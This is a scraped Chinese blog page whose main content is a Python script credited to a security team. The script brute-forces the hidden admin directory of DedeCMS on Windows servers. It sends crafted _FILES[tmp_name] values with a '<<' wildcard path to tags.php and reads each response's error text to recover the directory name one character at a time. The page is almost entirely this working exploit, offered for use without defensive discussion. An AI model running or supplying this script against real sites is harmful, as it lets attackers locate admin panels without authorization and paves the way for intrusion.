zoukankan      html  css  js  c++  java
  • dede后台目录暴力猜解仅限于windows

    #!/usr/bin/env python
    '''/*
        * author = Mochazz
        * team   = 红日安全团队
        * env    = pyton3
        *
        */
    '''
    import requests
    import itertools
    characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
    back_dir = ""
    flag = 0
    url = "http://192.168.1.9/tags.php"
    data = {
        "_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
        "_FILES[mochazz][name]" : 0,
        "_FILES[mochazz][size]" : 0,
        "_FILES[mochazz][type]" : "image/gif"
    }
    
    for num in range(1,7):
        if flag:
            break
        for pre in itertools.permutations(characters,num):
            pre = ''.join(list(pre))
            data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
            print("testing",pre)
            r = requests.post(url,data=data)
            if "Upload filetype not allow !" not in r.text and r.status_code == 200:
                flag = 1
                back_dir = pre
                data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
                break
            else:
                data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
    print("[+] 前缀为:",back_dir)
    flag = 0
    for i in range(30):
        if flag:
            break
        for ch in characters:
            if ch == characters[-1]:
                flag = 1
                break
            data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
            r = requests.post(url, data=data)
            if "Upload filetype not allow !" not in r.text and r.status_code == 200:
                back_dir += ch
                print("[+] ",back_dir)
                data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
                break
            else:
                data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
    
    print("后台地址为:",back_dir)
    

      

  • 相关阅读:
    基于 .NET Core 的简单文件服务器
    重启博客园,走出第一步
    layui扩展组件zTreeSelectM,下拉树多选
    skyline加载arcgis发布的wms服务
    HTML&CSS:构建网站不能不说的那些事儿
    VueCLi3 配置less变量
    Bootstrap4 本地编译运行
    冒泡排序和选择排序
    Router
    ToDoList
  • 原文地址:https://www.cnblogs.com/hookjoy/p/8530740.html
Copyright © 2011-2022 走看看